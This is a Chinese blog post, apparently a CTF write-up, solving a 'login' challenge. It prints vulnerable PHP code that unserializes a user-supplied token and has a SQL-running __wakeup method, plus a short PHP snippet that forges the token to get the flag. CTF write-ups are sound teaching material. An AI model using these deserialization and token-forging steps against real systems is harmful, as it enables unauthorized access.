百度杯”ctf比赛 十月场 login

登录:
 
1,先看源码,第一眼没有什么信息;
1.1接着拿sqlmap跑一下,并没有什么效果;在看源码,在最下面有惊喜
很像用户和密码--------------试试看 ------------》进入了member.php页面 
 接着看源码   (这次没有惊喜了)
2.bp抓包(注意抓member页面的包,别抓错了)
 
发现回报里有平常没有的变量show,那我们就show一吧,在包里吧show变量加上去,试试,我试了show:0  show:1  show:2这三个,当show:1时,回报里会出现源码
源码如下
<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
 
 
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }
 
 
    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }
 
 
?>

 

 
 
3,接着就是PHP代码审计了,重点是代码中高亮的部分
requset接受数据,所以post ,get都行
 
这三个函数的作用如下:
unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值
 
gzuncompress:解压被压缩的字符串
 
base64_decode:base64解码
 
他们对token变量中的数据做了上述操作,通读代码得:
当user 等于ichunqiu时,flag会出来,但其被login对象一顿操作了,我们要将其操作回来    ---- 逆
逆   ----  用到的函数有:base64_encode     gzcompress      serialize
代码如下:
 
<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>

 

逆----后的值如下(此处需要本地有PHP环境)不知道的可以去搜  --------------- phpstudy
 
4.将得来的值放在token变量里发出去,(这里没有token变量,要我们自己创)
 
获得flag!!!
 
总结
 
PHP中三个函数的作用,已经array数组的键值对应
unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值
 
gzuncompress:解压被压缩的字符串
 
base64_decode:base64解码
 
 
posted @ 2020-05-13 14:20  ~Wal  阅读(407)  评论(0)    收藏  举报